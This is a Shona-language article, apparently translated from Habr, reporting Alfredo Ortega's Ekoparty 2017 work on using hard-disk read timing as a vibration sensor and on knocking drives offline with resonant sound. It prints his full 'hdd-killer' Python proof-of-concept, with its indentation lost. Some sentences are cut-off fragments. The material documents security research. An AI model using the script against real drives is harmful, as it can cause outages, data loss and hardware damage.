Pamusangano wekuchengetedzwa kwekombuta weEkoparty 2017 muBuenos Aires, mubairo wekuArgentina Alfredo Ortega akaratidza budiriro inonakidza - hurongwa hwekuvhara waya kwenzvimbo pasina kushandisa maikorofoni. Inzwi
Iyo HDD inonyanya kutora yakakwira-yakanyanya kudzika-frequency manzwi, tsoka uye kumwe kudedera. Kutaura kwomunhu hakusati kuchigona kuzivikanwa, kunyange zvazvo masayendisiti
Ruzha ndiko kutenheka kwemhepo kana imwe svikiro. Munhu anozviona kuburikidza nerumu renzeve, iro rinoendesa kudengenyeka kunopinda mukati kwenzeve. Iyo maikorofoni yakagadzirwa zvakada kuita senzeve - pano, zvakare, mavibrations anorekodhwa neatete membrane, ayo anofadza simba remagetsi. Iyo hard drive, hongu, zvakare iri pasi pe microscopic vibrations nekuda kwekushanduka kwemhepo yakatenderedza. Izvi zvinozivikanwa kunyangwe kubva kuhunyanzvi hunhu hweHDDs: vagadziri vanowanzo ratidza iyo yakanyanya kutenderwa vibration level, uye hard drive pachayo inowanzo edza kuiisa mumudziyo wevibration-proof wakagadzirwa nerabha kana zvimwe zvinodzivirira zvinhu. Kubva pane izvi zviri nyore kugumisa kuti manzwi anogona kurekodhwa uchishandisa HDD. Chasara kungofunga kuti sei.
Alfredo Ortega akakurudzira yakasarudzika vhezheni yedivi-chiteshi kurwisa, inova nguva yekurwiswa. Kurwiswa uku kunobva pafungidziro yekuti mashandiro akasiyana anoitwa pachigadzirwa panguva dzakasiyana, zvichienderana nedata rekuisa rakapihwa. Muchiitiko ichi, "input data" ndiyo kudengenyeka kwemusoro wekuverenga uye HDD platter, iyo inopindirana nekudengenyeka kwenharaunda, kureva, nezwi. Nokudaro, nekuyera nguva yekuverenga uye kuita nhamba yekuongorora data, kudengenyeka kwemusoro / ndiro uye naizvozvo kudengenyeka kwepakati kunogona kuyerwa. Iyo yakareba kunonoka kuverenga data, iyo yakasimba iyo HDD vibrations uye, saka, iyo inonzwika ruzha.
Nzira yekuyera sei hard drive vibration? Yakareruka kwazvo: ingo mhanyisa system call read ()
- uye nyora nguva yainotora kuti upedze. Zvishandiso zvemazuva ano zvinokutendera kuti uverenge nguva yekufona kwesystem ne nanosecond accuracy.
Iko kumhanya kwekuverenga ruzivo kubva kuchikamu kunoenderana nenzvimbo yemusoro nendiro, iyo inoenderana nekudengenyeka kweiyo HDD kesi. Ndizvo zvose.
Statistical ongororo inoitwa uchishandisa nyore Kscope utility. Sezvavanotaura, zvinhu zvose zvine njere zviri nyore.
Kscope utility (stat () syscall)
Kscope ishandiso diki yekuona misiyano midiki muhurongwa hwekufona nguva. Source
Mune imwe nzvimbo yekuchengetedza read ()
.
Kuratidzira kwekurekodha ruzha uchishandisa HDD, kushanda kweKscope utility
Ehe, kutaura hakugone kunzwisiswa nenzira iyi, asi iyo HDD yakanyatso kurongeka senge vibration sensor. Semuenzaniso, unogona kunyoresa kana munhu akapfeka shangu dzakaoma kana asina shangu akapinda mukamuri ine komputa (pamwe, kana munhu anorwisa akapfeka sneakers dzakapfava kana pasi pekapeti gobvu, HDD haizokwanisi kunyoresa vibrations - izvi zvakakodzera kuongororwa). Iyo komputa inokwanisa kunyoresa girazi rakaputsika kana zvimwe zviitiko zvine simba rakasimba rekurira. Ndiko kuti, hard drive inogona kushanda semhando isina kutenderwa intrusion yekuona system.
HDD mhondi
Nenzira, nzira yakafanana inogona kushandiswa kudzima hard drive. Pano chete isu hatibvisi oscillations kubva kuHDD, asi zvinopesana, isu tinogadzira maoscillations anopihwa kuHDD. Kana iwe ukaridza ruzha kubva kumutauri pane frequency inopindirana neiyo HDD frequency, iyo system inokurumidza kudzima chishandiso neI / O kukanganisa (iyo Linux kernel inodzima zvachose HDD mushure memasekondi zana nemakumi maviri). Iyo hard drive pachayo inogona kukuvadzwa isingadzokerike.
Iyo Linux kernel yakadzima hard drive mushure memasekonzi zana nemakumi maviri ekuburitsa ruzha pane inonzwika frequency kuburikidza nemutauri weEdifier r120u USB mutauri. Mutauri anobatidzwa panenge chikamu chechina chesimba (risingasviki 19 mW) uye inowanikwa 100 cm kubva paHDD, yakanangwa patafura kuti iwedzere kuzunguzika. Frame kubva
Zvinoda kuziva kuti "kurwisa" kwakadaro paHDD dzimwe nguva kunoitika zvachose netsaona muhupenyu hwezuva nezuva. Semuenzaniso, munaGunyana 2016, iyo ING Bank data center yakamanikidzwa kumisa kushanda kwemaawa gumi mushure mekudhirowa kwemoto.
Kuratidzira kwevanhu vachipopota pama hard drive munzvimbo yedata. Latency kuyerwa
Kuti agadzire ruzha rwunoita, Alfredo Ortega akanyora chinyorwa chePython chinonzi
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com